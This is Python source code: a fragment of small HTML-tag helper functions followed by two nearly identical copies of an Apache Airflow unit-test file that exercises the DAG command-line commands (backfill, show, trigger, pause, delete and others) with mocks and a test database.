attr_str=""): return f'<h4{"" if attr_str == "" else " "}{attr_str}>{text}</h4>' def h5(text, attr_str=""): return f'<h5{"" if attr_str == "" else " "}{attr_str}>{text}</h5>' def h6(text, attr_str=""): return f'<h6{"" if attr_str == "" else " "}{attr_str}>{text}</h6>' def head(text, attr_str=""): return f'<head{"" if attr_str == "" else " "}{attr_str}>{text}</head>' def html(text, attr_str=""): return f'<html{"" if attr_str == "" else " "}{attr_str}>{text}</html>' def hr(text, attr_str=""): return f'<hr{"" if attr_str == "" else " "}{attr_str}>{text}</hr>' def i(text, attr_str=""): return f'<i{"" if attr_str == "" else " "}{attr_str}>{text}</i>' def img(text, attr_str=""): return f'<img{"" if attr_str == "" else " "}{attr_str}>{text}</img>' def input(text, attr_str=""): return f'<input{"" if attr_str == "" else " "}{attr_str}>{text}</input>' def ins(text, attr_str=""): return f'<ins{"" if attr_str == "" else " "}{attr_str}>{text}</ins>' def kbd(text, attr_str=""): return f'<kbd{"" if attr_str == "" else " "}{attr_str}>{text}</kbd>' def label(text, attr_str=""): return f'<label{"" if attr_str == "" else " "}{attr_str}>{text}</label>' def legend(text, attr_str=""): return f'<legend{"" if attr_str == "" else " "}{attr_str}>{text}</legend>' def li(text, attr_str=""): return f'<li{"" if attr_str == "" else " "}{attr_str}>{text}</li>' def link(text, attr_str=""): return f'<link{"" if attr_str == "" else " "}{attr_str}>{text}</link>' def map(text, attr_str=""): return f'<map{"" if attr_str == "" else " "}{attr_str}>{text}</map>' def meta(text, attr_str=""): return f'<meta{"" if attr_str == "" else " "}{attr_str}>{text}</meta>' def noscript(text, attr_str=""): return f'<noscript{"" if attr_str == "" else " "}{attr_str}>{text}</noscript>' def object(text, attr_str=""): return f'<object{"" if attr_str == "" else " "}{attr_str}>{text}</object>' def ol(text, attr_str=""): return f'<ol{"" if attr_str == "" else " "}{attr_str}>{text}</ol>' def optgroup(text, attr_str=""): return f'<optgroup{"" if attr_str == "" else " "}{attr_str}>{text}</optgroup>' def option(text, attr_str=""): return f'<option{"" if attr_str == "" else " "}{attr_str}>{text}</option>' def p(text, attr_str=""): return f'<p{"" if attr_str == "" else " "}{attr_str}>{text}</p>' def param(text, attr_str=""): return f'<param{"" if attr_str == "" else " "}{attr_str}>{text}</param>' def pre(text, attr_str=""): return f'<pre{"" if attr_str == "" else " "}{attr_str}>{text}</pre>' def q(text, attr_str=""): return f'<q{"" if attr_str == "" else " "}{attr_str}>{text}</q>' def samp(text, attr_str=""): return f'<samp{"" if attr_str == "" else " "}{attr_str}>{text}</samp>' def script(text, attr_str=""): return f'<script{"" if attr_str == "" else " "}{attr_str}>{text}</script>' def select(text, attr_str=""): return f'<select{"" if attr_str == "" else " "}{attr_str}>{text}</select>' def small(text, attr_str=""): return f'<small{"" if attr_str == "" else " "}{attr_str}>{text}</small>' def span(text, attr_str=""): return f'<span{"" if attr_str == "" else " "}{attr_str}>{text}</span>' def strong(text, attr_str=""): return f'<strong{"" if attr_str == "" else " "}{attr_str}>{text}</strong>' def style(text, attr_str=""): return f'<style{"" if attr_str == "" else " "}{attr_str}>{text}</style>' def sub(text, attr_str=""): return f'<sub{"" if attr_str == "" else " "}{attr_str}>{text}</sub>' def sup(text, attr_str=""): return f'<sup{"" if attr_str == "" else " "}{attr_str}>{text}</sup>' def table(text, attr_str=""): return f'<table{"" if attr_str == "" else " "}{attr_str}>{text}</table>' def tbody(text, attr_str=""): return f'<tbody{"" if attr_str == "" else " "}{attr_str}>{text}</tbody>' def td(text, attr_str=""): return f'<td{"" if attr_str == "" else " "}{attr_str}>{text}</td>' def textarea(text, attr_str=""): return f'<textarea{"" if attr_str == "" else " "}{attr_str}>{text}</textarea>' def tfoot(text, attr_str=""): return f'<tfoot{"" if attr_str == "" else " "}{attr_str}>{text}</tfoot>' def th(text, attr_str=""): return f'<th{"" if attr_str == "" else " "}{attr_str}>{text}</th>' def thead(text, attr_str=""): return f'<thead{"" if attr_str == "" else " "}{attr_str}>{text}</thead>' def title(text, attr_str=""): return f'<title{"" if attr_str == "" else " "}{attr_str}>{text}</title>' def tr(text, attr_str=""): return f'<tr{"" if attr_str == "" else " "}{attr_str}>{text}</tr>' def tt(text, attr_str=""): return f'<tt{"" if attr_str == "" else " "}{attr_str}>{text}</tt>' def ul(text, attr_str=""): return f'<ul{"" if attr_str == "" else " "}{attr_str}>{text}</ul>' def var(text, attr_str=""): return f'<var{"" if attr_str == "" else " "}{attr_str}>{text}</var>'
# # Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not use this file except in compliance # with the License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, # software distributed under the License is distributed on an # "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY # KIND, either express or implied. See the License for the # specific language governing permissions and limitations # under the License. import contextlib import io import os import tempfile import unittest from datetime import datetime, timedelta import mock import pytest from airflow import settings from airflow.cli import cli_parser from airflow.cli.commands import dag_command from airflow.exceptions import AirflowException from airflow.models import DagBag, DagModel, DagRun from airflow.utils import timezone from airflow.utils.session import create_session from airflow.utils.state import State from airflow.utils.types import DagRunType from tests.test_utils.config import conf_vars from tests.test_utils.db import clear_db_dags, clear_db_runs dag_folder_path = '/'.join(os.path.realpath(__file__).split('/')[:-1]) DEFAULT_DATE = timezone.make_aware(datetime(2015, 1, 1)) TEST_DAG_FOLDER = os.path.join( os.path.dirname(dag_folder_path), 'dags') TEST_DAG_ID = 'unit_tests' EXAMPLE_DAGS_FOLDER = os.path.join( os.path.dirname( os.path.dirname( os.path.dirname(os.path.realpath(__file__)) ) ), "airflow/example_dags" ) class TestCliDags(unittest.TestCase): @classmethod def setUpClass(cls): cls.dagbag = DagBag(include_examples=True) cls.dagbag.sync_to_db() cls.parser = cli_parser.get_parser() @classmethod def tearDownClass(cls) -> None: clear_db_runs() clear_db_dags() @mock.patch("airflow.cli.commands.dag_command.DAG.run") def test_backfill(self, mock_run): dag_command.dag_backfill(self.parser.parse_args([ 'dags', 'backfill', 'example_bash_operator', '--start-date', DEFAULT_DATE.isoformat()])) mock_run.assert_called_once_with( start_date=DEFAULT_DATE, end_date=DEFAULT_DATE, conf=None, delay_on_limit_secs=1.0, donot_pickle=False, ignore_first_depends_on_past=True, ignore_task_deps=False, local=False, mark_success=False, pool=None, rerun_failed_tasks=False, run_backwards=False, verbose=False, ) mock_run.reset_mock() dag = self.dagbag.get_dag('example_bash_operator') with contextlib.redirect_stdout(io.StringIO()) as stdout: dag_command.dag_backfill(self.parser.parse_args([ 'dags', 'backfill', 'example_bash_operator', '--task-regex', 'runme_0', '--dry-run', '--start-date', DEFAULT_DATE.isoformat()]), dag=dag) output = stdout.getvalue() self.assertIn("Dry run of DAG example_bash_operator on {}\n".format(DEFAULT_DATE.isoformat()), output) self.assertIn("Task runme_0\n", output) mock_run.assert_not_called() # Dry run shouldn't run the backfill dag_command.dag_backfill(self.parser.parse_args([ 'dags', 'backfill', 'example_bash_operator', '--dry-run', '--start-date', DEFAULT_DATE.isoformat()]), dag=dag) mock_run.assert_not_called() # Dry run shouldn't run the backfill dag_command.dag_backfill(self.parser.parse_args([ 'dags', 'backfill', 'example_bash_operator', '--local', '--start-date', DEFAULT_DATE.isoformat()]), dag=dag) mock_run.assert_called_once_with( start_date=DEFAULT_DATE, end_date=DEFAULT_DATE, conf=None, delay_on_limit_secs=1.0, donot_pickle=False, ignore_first_depends_on_past=True, ignore_task_deps=False, local=True, mark_success=False, pool=None, rerun_failed_tasks=False, run_backwards=False, verbose=False, ) mock_run.reset_mock() def test_show_dag_print(self): with contextlib.redirect_stdout(io.StringIO()) as temp_stdout: dag_command.dag_show(self.parser.parse_args([ 'dags', 'show', 'example_bash_operator'])) out = temp_stdout.getvalue() self.assertIn("label=example_bash_operator", out) self.assertIn("graph [label=example_bash_operator labelloc=t rankdir=LR]", out) self.assertIn("runme_2 -> run_after_loop", out) def test_generate_dag_yaml(self): with tempfile.TemporaryDirectory("airflow_dry_run_test/") as directory: file_name = "example_bash_operator_run_after_loop_2020-11-03T00_00_00_plus_00_00.yml" dag_command.generate_pod_yaml(self.parser.parse_args([ 'kubernetes', 'generate-dag-yaml', 'example_bash_operator', "2020-11-03", "--output-path", directory])) self.assertEqual(len(os.listdir(directory)), 1) out_dir = directory + "/airflow_yaml_output/" self.assertEqual(len(os.listdir(out_dir)), 6) self.assertTrue(os.path.isfile(out_dir + file_name)) self.assertGreater(os.stat(out_dir + file_name).st_size, 0) @mock.patch("airflow.cli.commands.dag_command.render_dag") def test_show_dag_dave(self, mock_render_dag): with contextlib.redirect_stdout(io.StringIO()) as temp_stdout: dag_command.dag_show(self.parser.parse_args([ 'dags', 'show', 'example_bash_operator', '--save', 'awesome.png'] )) out = temp_stdout.getvalue() mock_render_dag.return_value.render.assert_called_once_with( cleanup=True, filename='awesome', format='png' ) self.assertIn("File awesome.png saved", out) @mock.patch("airflow.cli.commands.dag_command.subprocess.Popen") @mock.patch("airflow.cli.commands.dag_command.render_dag") def test_show_dag_imgcat(self, mock_render_dag, mock_popen): mock_render_dag.return_value.pipe.return_value = b"DOT_DATA" mock_popen.return_value.communicate.return_value = (b"OUT", b"ERR") with contextlib.redirect_stdout(io.StringIO()) as temp_stdout: dag_command.dag_show(self.parser.parse_args([ 'dags', 'show', 'example_bash_operator', '--imgcat'] )) out = temp_stdout.getvalue() mock_render_dag.return_value.pipe.assert_called_once_with(format='png') mock_popen.return_value.communicate.assert_called_once_with(b'DOT_DATA') self.assertIn("OUT", out) self.assertIn("ERR", out) @mock.patch("airflow.cli.commands.dag_command.DAG.run") def test_cli_backfill_depends_on_past(self, mock_run): """ Test that CLI respects -I argument We just check we call dag.run() right. The behaviour of that kwarg is tested in test_jobs """ dag_id = 'test_dagrun_states_deadlock' run_date = DEFAULT_DATE + timedelta(days=1) args = [ 'dags', 'backfill', dag_id, '--local', '--start-date', run_date.isoformat(), '--ignore-first-depends-on-past', ] dag = self.dagbag.get_dag(dag_id) dag_command.dag_backfill(self.parser.parse_args(args), dag=dag) mock_run.assert_called_once_with( start_date=run_date, end_date=run_date, conf=None, delay_on_limit_secs=1.0, donot_pickle=False, ignore_first_depends_on_past=True, ignore_task_deps=False, local=True, mark_success=False, pool=None, rerun_failed_tasks=False, run_backwards=False, verbose=False, ) @mock.patch("airflow.cli.commands.dag_command.DAG.run") def test_cli_backfill_depends_on_past_backwards(self, mock_run): """ Test that CLI respects -B argument and raises on interaction with depends_on_past """ dag_id = 'test_depends_on_past' start_date = DEFAULT_DATE + timedelta(days=1) end_date = start_date + timedelta(days=1) args = [ 'dags', 'backfill', dag_id, '--local', '--start-date', start_date.isoformat(), '--end-date', end_date.isoformat(), '--ignore-first-depends-on-past', '--run-backwards', ] dag = self.dagbag.get_dag(dag_id) dag_command.dag_backfill(self.parser.parse_args(args), dag=dag) mock_run.assert_called_once_with( start_date=start_date, end_date=end_date, conf=None, delay_on_limit_secs=1.0, donot_pickle=False, ignore_first_depends_on_past=True, ignore_task_deps=False, local=True, mark_success=False, pool=None, rerun_failed_tasks=False, run_backwards=True, verbose=False, ) def test_next_execution(self): dag_ids = ['example_bash_operator', # schedule_interval is '0 0 * * *' 'latest_only', # schedule_interval is timedelta(hours=4) 'example_python_operator', # schedule_interval=None 'example_xcom'] # schedule_interval="@once" # Delete DagRuns with create_session() as session: dr = session.query(DagRun).filter(DagRun.dag_id.in_(dag_ids)) dr.delete(synchronize_session=False) # Test None output args = self.parser.parse_args(['dags', 'next-execution', dag_ids[0]]) with contextlib.redirect_stdout(io.StringIO()) as temp_stdout: dag_command.dag_next_execution(args) out = temp_stdout.getvalue() # `next_execution` function is inapplicable if no execution record found # It prints `None` in such cases self.assertIn("None", out) # The details below is determined by the schedule_interval of example DAGs now = DEFAULT_DATE expected_output = [str(now + timedelta(days=1)), str(now + timedelta(hours=4)), "None", "None"] expected_output_2 = [str(now + timedelta(days=1)) + os.linesep + str(now + timedelta(days=2)), str(now + timedelta(hours=4)) + os.linesep + str(now + timedelta(hours=8)), "None", "None"] for i, dag_id in enumerate(dag_ids): dag = self.dagbag.dags[dag_id] # Create a DagRun for each DAG, to prepare for next step dag.create_dagrun( run_type=DagRunType.MANUAL, execution_date=now, start_date=now, state=State.FAILED ) # Test num-executions = 1 (default) args = self.parser.parse_args(['dags', 'next-execution', dag_id]) with contextlib.redirect_stdout(io.StringIO()) as temp_stdout: dag_command.dag_next_execution(args) out = temp_stdout.getvalue() self.assertIn(expected_output[i], out) # Test num-executions = 2 args = self.parser.parse_args(['dags', 'next-execution', dag_id, '--num-executions', '2']) with contextlib.redirect_stdout(io.StringIO()) as temp_stdout: dag_command.dag_next_execution(args) out = temp_stdout.getvalue() self.assertIn(expected_output_2[i], out) # Clean up before leaving with create_session() as session: dr = session.query(DagRun).filter(DagRun.dag_id.in_(dag_ids)) dr.delete(synchronize_session=False) @conf_vars({ ('core', 'load_examples'): 'true' }) def test_cli_report(self): args = self.parser.parse_args(['dags', 'report']) with contextlib.redirect_stdout(io.StringIO()) as temp_stdout: dag_command.dag_report(args) out = temp_stdout.getvalue() self.assertIn("airflow/example_dags/example_complex.py ", out) self.assertIn("['example_complex']", out) @conf_vars({ ('core', 'load_examples'): 'true' }) def test_cli_list_dags(self): args = self.parser.parse_args(['dags', 'list', '--output=fancy_grid']) with contextlib.redirect_stdout(io.StringIO()) as temp_stdout: dag_command.dag_list_dags(args) out = temp_stdout.getvalue() self.assertIn("Owner", out) self.assertIn("│ airflow │", out) self.assertIn("airflow/example_dags/example_complex.py", out) def test_cli_list_dag_runs(self): dag_command.dag_trigger(self.parser.parse_args([ 'dags', 'trigger', 'example_bash_operator', ])) args = self.parser.parse_args(['dags', 'list-runs', '--dag-id', 'example_bash_operator', '--no-backfill', '--start-date', DEFAULT_DATE.isoformat(), '--end-date', timezone.make_aware(datetime.max).isoformat()]) dag_command.dag_list_dag_runs(args) def test_cli_list_jobs_with_args(self): args = self.parser.parse_args(['dags', 'list-jobs', '--dag-id', 'example_bash_operator', '--state', 'success', '--limit', '100', '--output', 'tsv']) dag_command.dag_list_jobs(args) def test_pause(self): args = self.parser.parse_args([ 'dags', 'pause', 'example_bash_operator']) dag_command.dag_pause(args) self.assertIn(self.dagbag.dags['example_bash_operator'].get_is_paused(), [True, 1]) args = self.parser.parse_args([ 'dags', 'unpause', 'example_bash_operator']) dag_command.dag_unpause(args) self.assertIn(self.dagbag.dags['example_bash_operator'].get_is_paused(), [False, 0]) @pytest.mark.quarantined def test_trigger_dag(self): dag_command.dag_trigger(self.parser.parse_args([ 'dags', 'trigger', 'example_bash_operator', '--conf', '{'foo': 'bar'}'])) self.assertRaises( ValueError, dag_command.dag_trigger, self.parser.parse_args([ 'dags', 'trigger', 'example_bash_operator', '--run-id', 'trigger_dag_xxx', '--conf', 'NOT JSON']) ) def test_delete_dag(self): DM = DagModel key = "my_dag_id" session = settings.Session() session.add(DM(dag_id=key)) session.commit() dag_command.dag_delete(self.parser.parse_args([ 'dags', 'delete', key, '--yes'])) self.assertEqual(session.query(DM).filter_by(dag_id=key).count(), 0) self.assertRaises( AirflowException, dag_command.dag_delete, self.parser.parse_args([ 'dags', 'delete', 'does_not_exist_dag', '--yes']) ) def test_delete_dag_existing_file(self): # Test to check that the DAG should be deleted even if # the file containing it is not deleted DM = DagModel key = "my_dag_id" session = settings.Session() with tempfile.NamedTemporaryFile() as f: session.add(DM(dag_id=key, fileloc=f.name)) session.commit() dag_command.dag_delete(self.parser.parse_args([ 'dags', 'delete', key, '--yes'])) self.assertEqual(session.query(DM).filter_by(dag_id=key).count(), 0) def test_cli_list_jobs(self): args = self.parser.parse_args(['dags', 'list-jobs']) dag_command.dag_list_jobs(args) def test_dag_state(self): self.assertEqual(None, dag_command.dag_state(self.parser.parse_args([ 'dags', 'state', 'example_bash_operator', DEFAULT_DATE.isoformat()]))) @mock.patch("airflow.cli.commands.dag_command.DebugExecutor") @mock.patch("airflow.cli.commands.dag_command.get_dag") def test_dag_test(self, mock_get_dag, mock_executor): cli_args = self.parser.parse_args(['dags', 'test', 'example_bash_operator', DEFAULT_DATE.isoformat()]) dag_command.dag_test(cli_args) mock_get_dag.assert_has_calls([ mock.call( subdir=cli_args.subdir, dag_id='example_bash_operator' ), mock.call().clear( start_date=cli_args.execution_date, end_date=cli_args.execution_date, dag_run_state=State.NONE, ), mock.call().run( executor=mock_executor.return_value, start_date=cli_args.execution_date, end_date=cli_args.execution_date ) ]) @mock.patch( "airflow.cli.commands.dag_command.render_dag", **{'return_value.source': "SOURCE"} # type: ignore ) @mock.patch("airflow.cli.commands.dag_command.DebugExecutor") @mock.patch("airflow.cli.commands.dag_command.get_dag") def test_dag_test_show_dag(self, mock_get_dag, mock_executor, mock_render_dag): cli_args = self.parser.parse_args([ 'dags', 'test', 'example_bash_operator', DEFAULT_DATE.isoformat(), '--show-dagrun' ]) with contextlib.redirect_stdout(io.StringIO()) as stdout: dag_command.dag_test(cli_args) output = stdout.getvalue() mock_get_dag.assert_has_calls([ mock.call( subdir=cli_args.subdir, dag_id='example_bash_operator' ), mock.call().clear( start_date=cli_args.execution_date, end_date=cli_args.execution_date, dag_run_state=State.NONE, ), mock.call().run( executor=mock_executor.return_value, start_date=cli_args.execution_date, end_date=cli_args.execution_date ) ]) mock_render_dag.assert_has_calls([ mock.call(mock_get_dag.return_value, tis=[]) ]) self.assertIn("SOURCE", output)
# # Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not use this file except in compliance # with the License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, # software distributed under the License is distributed on an # "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY # KIND, either express or implied. See the License for the # specific language governing permissions and limitations # under the License. import contextlib import io import os import tempfile import unittest from datetime import datetime, timedelta import mock import pytest from airflow import settings from airflow.cli import cli_parser from airflow.cli.commands import dag_command from airflow.exceptions import AirflowException from airflow.models import DagBag, DagModel, DagRun from airflow.utils import timezone from airflow.utils.session import create_session from airflow.utils.state import State from airflow.utils.types import DagRunType from tests.test_utils.config import conf_vars from tests.test_utils.db import clear_db_dags, clear_db_runs dag_folder_path = '/'.join(os.path.realpath(__file__).split('/')[:-1]) DEFAULT_DATE = timezone.make_aware(datetime(2015, 1, 1)) TEST_DAG_FOLDER = os.path.join( os.path.dirname(dag_folder_path), 'dags') TEST_DAG_ID = 'unit_tests' EXAMPLE_DAGS_FOLDER = os.path.join( os.path.dirname( os.path.dirname( os.path.dirname(os.path.realpath(__file__)) ) ), "airflow/example_dags" ) class TestCliDags(unittest.TestCase): @classmethod def setUpClass(cls): cls.dagbag = DagBag(include_examples=True) cls.dagbag.sync_to_db() cls.parser = cli_parser.get_parser() @classmethod def tearDownClass(cls) -> None: clear_db_runs() clear_db_dags() @mock.patch("airflow.cli.commands.dag_command.DAG.run") def test_backfill(self, mock_run): dag_command.dag_backfill(self.parser.parse_args([ 'dags', 'backfill', 'example_bash_operator', '--start-date', DEFAULT_DATE.isoformat()])) mock_run.assert_called_once_with( start_date=DEFAULT_DATE, end_date=DEFAULT_DATE, conf=None, delay_on_limit_secs=1.0, donot_pickle=False, ignore_first_depends_on_past=True, ignore_task_deps=False, local=False, mark_success=False, pool=None, rerun_failed_tasks=False, run_backwards=False, verbose=False, ) mock_run.reset_mock() dag = self.dagbag.get_dag('example_bash_operator') with contextlib.redirect_stdout(io.StringIO()) as stdout: dag_command.dag_backfill(self.parser.parse_args([ 'dags', 'backfill', 'example_bash_operator', '--task-regex', 'runme_0', '--dry-run', '--start-date', DEFAULT_DATE.isoformat()]), dag=dag) output = stdout.getvalue() self.assertIn("Dry run of DAG example_bash_operator on {}\n".format(DEFAULT_DATE.isoformat()), output) self.assertIn("Task runme_0\n", output) mock_run.assert_not_called() # Dry run shouldn't run the backfill dag_command.dag_backfill(self.parser.parse_args([ 'dags', 'backfill', 'example_bash_operator', '--dry-run', '--start-date', DEFAULT_DATE.isoformat()]), dag=dag) mock_run.assert_not_called() # Dry run shouldn't run the backfill dag_command.dag_backfill(self.parser.parse_args([ 'dags', 'backfill', 'example_bash_operator', '--local', '--start-date', DEFAULT_DATE.isoformat()]), dag=dag) mock_run.assert_called_once_with( start_date=DEFAULT_DATE, end_date=DEFAULT_DATE, conf=None, delay_on_limit_secs=1.0, donot_pickle=False, ignore_first_depends_on_past=True, ignore_task_deps=False, local=True, mark_success=False, pool=None, rerun_failed_tasks=False, run_backwards=False, verbose=False, ) mock_run.reset_mock() def test_show_dag_print(self): with contextlib.redirect_stdout(io.StringIO()) as temp_stdout: dag_command.dag_show(self.parser.parse_args([ 'dags', 'show', 'example_bash_operator'])) out = temp_stdout.getvalue() self.assertIn("label=example_bash_operator", out) self.assertIn("graph [label=example_bash_operator labelloc=t rankdir=LR]", out) self.assertIn("runme_2 -> run_after_loop", out) def test_generate_dag_yaml(self): with tempfile.TemporaryDirectory("airflow_dry_run_test/") as directory: file_name = "example_bash_operator_run_after_loop_2020-11-03T00_00_00_plus_00_00.yml" dag_command.generate_pod_yaml(self.parser.parse_args([ 'kubernetes', 'generate-dag-yaml', 'example_bash_operator', "2020-11-03", "--output-path", directory])) self.assertEqual(len(os.listdir(directory)), 1) out_dir = directory + "/airflow_yaml_output/" self.assertEqual(len(os.listdir(out_dir)), 6) self.assertTrue(os.path.isfile(out_dir + file_name)) self.assertGreater(os.stat(out_dir + file_name).st_size, 0) @mock.patch("airflow.cli.commands.dag_command.render_dag") def test_show_dag_dave(self, mock_render_dag): with contextlib.redirect_stdout(io.StringIO()) as temp_stdout: dag_command.dag_show(self.parser.parse_args([ 'dags', 'show', 'example_bash_operator', '--save', 'awesome.png'] )) out = temp_stdout.getvalue() mock_render_dag.return_value.render.assert_called_once_with( cleanup=True, filename='awesome', format='png' ) self.assertIn("File awesome.png saved", out) @mock.patch("airflow.cli.commands.dag_command.subprocess.Popen") @mock.patch("airflow.cli.commands.dag_command.render_dag") def test_show_dag_imgcat(self, mock_render_dag, mock_popen): mock_render_dag.return_value.pipe.return_value = b"DOT_DATA" mock_popen.return_value.communicate.return_value = (b"OUT", b"ERR") with contextlib.redirect_stdout(io.StringIO()) as temp_stdout: dag_command.dag_show(self.parser.parse_args([ 'dags', 'show', 'example_bash_operator', '--imgcat'] )) out = temp_stdout.getvalue() mock_render_dag.return_value.pipe.assert_called_once_with(format='png') mock_popen.return_value.communicate.assert_called_once_with(b'DOT_DATA') self.assertIn("OUT", out) self.assertIn("ERR", out) @mock.patch("airflow.cli.commands.dag_command.DAG.run") def test_cli_backfill_depends_on_past(self, mock_run): """ Test that CLI respects -I argument We just check we call dag.run() right. The behaviour of that kwarg is tested in test_jobs """ dag_id = 'test_dagrun_states_deadlock' run_date = DEFAULT_DATE + timedelta(days=1) args = [ 'dags', 'backfill', dag_id, '--local', '--start-date', run_date.isoformat(), '--ignore-first-depends-on-past', ] dag = self.dagbag.get_dag(dag_id) dag_command.dag_backfill(self.parser.parse_args(args), dag=dag) mock_run.assert_called_once_with( start_date=run_date, end_date=run_date, conf=None, delay_on_limit_secs=1.0, donot_pickle=False, ignore_first_depends_on_past=True, ignore_task_deps=False, local=True, mark_success=False, pool=None, rerun_failed_tasks=False, run_backwards=False, verbose=False, ) @mock.patch("airflow.cli.commands.dag_command.DAG.run") def test_cli_backfill_depends_on_past_backwards(self, mock_run): """ Test that CLI respects -B argument and raises on interaction with depends_on_past """ dag_id = 'test_depends_on_past' start_date = DEFAULT_DATE + timedelta(days=1) end_date = start_date + timedelta(days=1) args = [ 'dags', 'backfill', dag_id, '--local', '--start-date', start_date.isoformat(), '--end-date', end_date.isoformat(), '--ignore-first-depends-on-past', '--run-backwards', ] dag = self.dagbag.get_dag(dag_id) dag_command.dag_backfill(self.parser.parse_args(args), dag=dag) mock_run.assert_called_once_with( start_date=start_date, end_date=end_date, conf=None, delay_on_limit_secs=1.0, donot_pickle=False, ignore_first_depends_on_past=True, ignore_task_deps=False, local=True, mark_success=False, pool=None, rerun_failed_tasks=False, run_backwards=True, verbose=False, ) def test_next_execution(self): dag_ids = ['example_bash_operator', # schedule_interval is '0 0 * * *' 'latest_only', # schedule_interval is timedelta(hours=4) 'example_python_operator', # schedule_interval=None 'example_xcom'] # schedule_interval="@once" # Delete DagRuns with create_session() as session: dr = session.query(DagRun).filter(DagRun.dag_id.in_(dag_ids)) dr.delete(synchronize_session=False) # Test None output args = self.parser.parse_args(['dags', 'next-execution', dag_ids[0]]) with contextlib.redirect_stdout(io.StringIO()) as temp_stdout: dag_command.dag_next_execution(args) out = temp_stdout.getvalue() # `next_execution` function is inapplicable if no execution record found # It prints `None` in such cases self.assertIn("None", out) # The details below is determined by the schedule_interval of example DAGs now = DEFAULT_DATE expected_output = [str(now + timedelta(days=1)), str(now + timedelta(hours=4)), "None", "None"] expected_output_2 = [str(now + timedelta(days=1)) + os.linesep + str(now + timedelta(days=2)), str(now + timedelta(hours=4)) + os.linesep + str(now + timedelta(hours=8)), "None", "None"] for i, dag_id in enumerate(dag_ids): dag = self.dagbag.dags[dag_id] # Create a DagRun for each DAG, to prepare for next step dag.create_dagrun( run_type=DagRunType.MANUAL, execution_date=now, start_date=now, state=State.FAILED ) # Test num-executions = 1 (default) args = self.parser.parse_args(['dags', 'next-execution', dag_id]) with contextlib.redirect_stdout(io.StringIO()) as temp_stdout: dag_command.dag_next_execution(args) out = temp_stdout.getvalue() self.assertIn(expected_output[i], out) # Test num-executions = 2 args = self.parser.parse_args(['dags', 'next-execution', dag_id, '--num-executions', '2']) with contextlib.redirect_stdout(io.StringIO()) as temp_stdout: dag_command.dag_next_execution(args) out = temp_stdout.getvalue() self.assertIn(expected_output_2[i], out) # Clean up before leaving with create_session() as session: dr = session.query(DagRun).filter(DagRun.dag_id.in_(dag_ids)) dr.delete(synchronize_session=False) @conf_vars({ ('core', 'load_examples'): 'true' }) def test_cli_report(self): args = self.parser.parse_args(['dags', 'report']) with contextlib.redirect_stdout(io.StringIO()) as temp_stdout: dag_command.dag_report(args) out = temp_stdout.getvalue() self.assertIn("airflow/example_dags/example_complex.py ", out) self.assertIn("['example_complex']", out) @conf_vars({ ('core', 'load_examples'): 'true' }) def test_cli_list_dags(self): args = self.parser.parse_args(['dags', 'list', '--output=fancy_grid']) with contextlib.redirect_stdout(io.StringIO()) as temp_stdout: dag_command.dag_list_dags(args) out = temp_stdout.getvalue() self.assertIn("Owner", out) self.assertIn("│ airflow │", out) self.assertIn("airflow/example_dags/example_complex.py", out) def test_cli_list_dag_runs(self): dag_command.dag_trigger(self.parser.parse_args([ 'dags', 'trigger', 'example_bash_operator', ])) args = self.parser.parse_args(['dags', 'list-runs', '--dag-id', 'example_bash_operator', '--no-backfill', '--start-date', DEFAULT_DATE.isoformat(), '--end-date', timezone.make_aware(datetime.max).isoformat()]) dag_command.dag_list_dag_runs(args) def test_cli_list_jobs_with_args(self): args = self.parser.parse_args(['dags', 'list-jobs', '--dag-id', 'example_bash_operator', '--state', 'success', '--limit', '100', '--output', 'tsv']) dag_command.dag_list_jobs(args) def test_pause(self): args = self.parser.parse_args([ 'dags', 'pause', 'example_bash_operator']) dag_command.dag_pause(args) self.assertIn(self.dagbag.dags['example_bash_operator'].get_is_paused(), [True, 1]) args = self.parser.parse_args([ 'dags', 'unpause', 'example_bash_operator']) dag_command.dag_unpause(args) self.assertIn(self.dagbag.dags['example_bash_operator'].get_is_paused(), [False, 0]) @pytest.mark.quarantined def test_trigger_dag(self): dag_command.dag_trigger(self.parser.parse_args([ 'dags', 'trigger', 'example_bash_operator', '--conf', '{"foo": "bar"}'])) self.assertRaises( ValueError, dag_command.dag_trigger, self.parser.parse_args([ 'dags', 'trigger', 'example_bash_operator', '--run-id', 'trigger_dag_xxx', '--conf', 'NOT JSON']) ) def test_delete_dag(self): DM = DagModel key = "my_dag_id" session = settings.Session() session.add(DM(dag_id=key)) session.commit() dag_command.dag_delete(self.parser.parse_args([ 'dags', 'delete', key, '--yes'])) self.assertEqual(session.query(DM).filter_by(dag_id=key).count(), 0) self.assertRaises( AirflowException, dag_command.dag_delete, self.parser.parse_args([ 'dags', 'delete', 'does_not_exist_dag', '--yes']) ) def test_delete_dag_existing_file(self): # Test to check that the DAG should be deleted even if # the file containing it is not deleted DM = DagModel key = "my_dag_id" session = settings.Session() with tempfile.NamedTemporaryFile() as f: session.add(DM(dag_id=key, fileloc=f.name)) session.commit() dag_command.dag_delete(self.parser.parse_args([ 'dags', 'delete', key, '--yes'])) self.assertEqual(session.query(DM).filter_by(dag_id=key).count(), 0) def test_cli_list_jobs(self): args = self.parser.parse_args(['dags', 'list-jobs']) dag_command.dag_list_jobs(args) def test_dag_state(self): self.assertEqual(None, dag_command.dag_state(self.parser.parse_args([ 'dags', 'state', 'example_bash_operator', DEFAULT_DATE.isoformat()]))) @mock.patch("airflow.cli.commands.dag_command.DebugExecutor") @mock.patch("airflow.cli.commands.dag_command.get_dag") def test_dag_test(self, mock_get_dag, mock_executor): cli_args = self.parser.parse_args(['dags', 'test', 'example_bash_operator', DEFAULT_DATE.isoformat()]) dag_command.dag_test(cli_args) mock_get_dag.assert_has_calls([ mock.call( subdir=cli_args.subdir, dag_id='example_bash_operator' ), mock.call().clear( start_date=cli_args.execution_date, end_date=cli_args.execution_date, dag_run_state=State.NONE, ), mock.call().run( executor=mock_executor.return_value, start_date=cli_args.execution_date, end_date=cli_args.execution_date ) ]) 